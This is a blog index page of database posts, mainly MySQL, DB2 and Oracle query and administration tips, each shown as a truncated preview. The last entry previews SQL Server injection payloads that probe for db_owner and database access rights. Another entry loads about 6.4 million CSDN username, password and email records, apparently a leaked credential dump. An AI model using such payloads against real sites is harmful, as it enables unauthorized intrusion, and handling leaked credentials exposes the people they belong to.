database
关注
分享
扫一扫
iteye_13003
这个作者很懒，什么都没留下…
展开
-
[Warning] TIMESTAMP with implicit DEFAULT value is depreca
C:\Users\Happy>mysqld --console2014-05-02 09:46:29 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentati...原创 2014-05-02 09:50:58 · 1169 阅读 · 0 评论 -
mysql查询或更新单双数字的内容
select * from tbl_name where userid%2=1mysql> select * from message_bak;+----+-----------+--------------------+---------------------+| id | name | content | time ...原创 2013-11-19 17:27:38 · 313 阅读 · 0 评论 -
DB2，Mysql，Sqlserver，oracle分页算法，分页语句
[size=medium][color=red]Mysql[/color][/size][code="sql"]limit = ((feeds.getPageIndex() - 1) * 10 + 1) + "," + (feeds.getPageIndex() * 10);[/code][size=medium][color=red]DB2，Sqlserver[/c...原创 2013-03-07 20:43:37 · 128 阅读 · 0 评论 -
DB2 分页，row_number分页
[img]http://dl.iteye.com/upload/attachment/0081/2887/3aa4c65e-e9bb-31a1-82eb-cabaed815c71.jpg[/img][code="sql"]select * from (select ROW_NUMBER() OVER() AS ROWNUM, msap.* from msap_fund_det msa...原创 2013-03-07 16:59:31 · 310 阅读 · 0 评论 -
mysql查询每月不重复的数据
[code="sql"]mysql> select * from product group by concat(year(last_update),'-',week(last_update),day(last_update)) order by last_update;[/code]或者[code="sql"]mysql> select * from product gro...原创 2012-10-15 11:14:03 · 426 阅读 · 0 评论 -
mysql统计多表交叉组合总数
[code="sql"]>mysql -h localhost -u root -p[/code][code="sql"]mysql> use world;Database changedmysql> show tables;+-----------------+| Tables_in_world |+-----------------+| city ...原创 2012-10-11 11:33:13 · 520 阅读 · 0 评论 -
DB2获取当前时间
[code="sql"]SELECT current date FROM sysibm.sysdummy1;[/code]'2012-09-20'[code="sql"]SELECT current time FROM sysibm.sysdummy1;[/code]'14:04:04'[code="sql"]SELECT current timesta...原创 2012-09-20 14:05:33 · 1426 阅读 · 0 评论 -
DB2 查看表结构，DB2查看所用表
查看所用表（注：条件内容需要大写）[code="sql"]select * from sysibm.systables where type='T' and creator = 'FRONT'[/code][img]http://dl.iteye.com/upload/attachment/0074/0786/11af1c6f-8112-3e21-a479-c608404abf...原创 2012-09-20 09:58:15 · 3016 阅读 · 0 评论 -
hsql创建自动增长列并授权数据库
[code="sql"]ID INTEGER GENERATED BY DEFAULT AS IDENTITY(START WITH 0) NOT NULL PRIMARY KEY[/code][code="sql"]GRANT DBA TO SA[/code]原创 2012-08-26 10:09:42 · 691 阅读 · 0 评论 -
Java连接各种数据库，DB2、Mysql、Oracle、Hsqldb。。
[color=red][size=medium]ConnectHSQLDB.java[/size][/color][code="java"]/** * ConnectHSQLDB.java */package com.javaworkspace.connecthsqldb;import java.sql.Connection;import java.sql.Driver...原创 2012-08-26 09:38:33 · 199 阅读 · 0 评论 -
Mysql各种报表查询含实例，日报，周报，月报，时间差自动计算
[code="java"]public List retrieve(IReport report) { List list = new ArrayList(); Map map = new HashMap(); // 设置结束日期 if (null != report.getEndTime()) { map.put(ReportMeta.PROP_ENDTI...原创 2012-04-12 11:28:40 · 1576 阅读 · 0 评论 -
sql更新数据不能有from的错误解决方案
[code="sql"]You can't specify target table 'tbl_total_log' for update in FROM clause[/code][code="sql"]update tbl_total_log set unassigned = unassigned - 199 where id = (select id from (sele...原创 2012-01-31 13:43:36 · 346 阅读 · 0 评论 -
mysql 修改默认编码
[code="windows"]在mysql安装目录下my.ini下添加[mysqld]default-character-set=utf8[/code][code="linux"]在/etc/my.cnf下添加[mysqld]default-character-set=utf8[/code][color=red]但是以dos方式登陆数据库，se...原创 2012-01-05 11:56:24 · 120 阅读 · 0 评论 -
MySQL String Functions
[code="sql"]Name DescriptionASCII() Return numeric value of left-most characterBIN() Return a string representation of the argumentBIT_LENGTH() Return length of argument in bitsCHAR_LENGTH()...原创 2012-01-05 11:36:46 · 229 阅读 · 0 评论 -
MySQL Numeric Functions
[code="sql"]Name DescriptionABS() Returns the absolute value of numeric expression.ACOS() Returns the arccosine of numeric expression. Returns NULL if the value is not in the range -1 to 1.ASI...原创 2012-01-05 11:36:23 · 553 阅读 · 0 评论 -
MySQL Date and Time Functions
[code="sql"]Name DescriptionADDDATE() Add datesADDTIME() Add timeCONVERT_TZ() Convert from one timezone to anotherCURDATE() Return the current dateCURRENT_DATE(), CURRENT_DATE Synonyms for...原创 2011-12-31 13:50:59 · 196 阅读 · 0 评论 -
MySQL CONCAT Function
[code="sql"]mysql> SELECT CONCAT('FIRST ', 'SECOND');+----------------------------+| CONCAT('FIRST ', 'SECOND') |+----------------------------+| FIRST SECOND |+--------------...原创 2011-12-31 13:50:50 · 587 阅读 · 0 评论 -
Oracle重置数据库命令
新建bat文件，复制以下内容，然后执行。[code="bat"]@echo offREMREM The script assumes that user can connect using "/ as sysdba"REMREM =================REM Restore procedureREM =================REMREM ...原创 2011-12-29 11:37:12 · 837 阅读 · 0 评论 -
CSDN 6428632条数据mysql 32.25s插入完毕
[code="sql"]mysql> create table csdn(id int not null auto_increment primary key,username varchar(50) not null,password varchar(50) not null,email varchar(50) not null);Query OK, 0 rows affected (0.2...原创 2011-12-29 11:36:34 · 142 阅读 · 0 评论 -
cmd启动Oracle数据库
新建一个bat文件，复制内容进去，双击启动.[code="cmd"]@echo offnet start OracleXETNSListener 2>nulnet start OracleServiceXE 2>nul@oradim -startup -sid XE -starttype inst > nul 2>&1[/code]...原创 2011-12-22 17:20:58 · 261 阅读 · 0 评论 -
Oracle IMPDP导入dmp数据帮助命令
[code="help"]D:\JAVA\DATABASE\ORACLEXE\APP\ORACLE\product\11.2.0\server\bin>impdp help=yImport: Release 11.2.0.2.0 - Production on 星期四 12月 22 17:10:30 2011Copyright (c) 1982, 2009, Oracle and/...原创 2011-12-22 17:12:41 · 784 阅读 · 0 评论 -
Oracle IMP导入文件帮助文档
[code="help"]D:\JAVA\DATABASE\ORACLEXE\APP\ORACLE\product\11.2.0\server\bin>imp help=yImport: Release 11.2.0.2.0 - Production on 星期四 12月 22 17:07:59 2011Copyright (c) 1982, 2009, Oracle and/...原创 2011-12-22 17:09:16 · 223 阅读 · 0 评论 -
Oracle导入dmp文件命令
进入[code="sql"]D:\Java\Database\oraclexe\app\oracle\product\11.2.0\server\bin[/code]文件夹执行cmd命令[code="java"]D:\Java\Database\oraclexe\app\oracle\product\11.2.0\server\bin>IMPDP hefa/hefa d u...原创 2011-12-20 12:57:14 · 296 阅读 · 0 评论 -
Oracle修改端口命令sql
[code="sql"]conn sys/password as sysdba[/code][code="sql"]call dbms_xdb.cfg_update(updateXML(dbms_xdb.cfg_get(),'/xdbconfig/sysconfig/protocolconfig/httpconfig/http-port/text()',8088));[/c...原创 2011-12-20 12:54:12 · 179 阅读 · 0 评论 -
Oracle sql developer配置JDK文件
[code="java"]"D:\Java\Database\sqldeveloper\sqldeveloper\bin\sqldeveloper.conf"[/code][code="java"]SetJavaHome D:\Java\Java\jdk1.6.0_24[/code]原创 2011-12-20 11:51:14 · 3945 阅读 · 0 评论 -
常用SQL注入代码
//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)...原创 2010-08-31 13:48:04 · 585 阅读 · 0 评论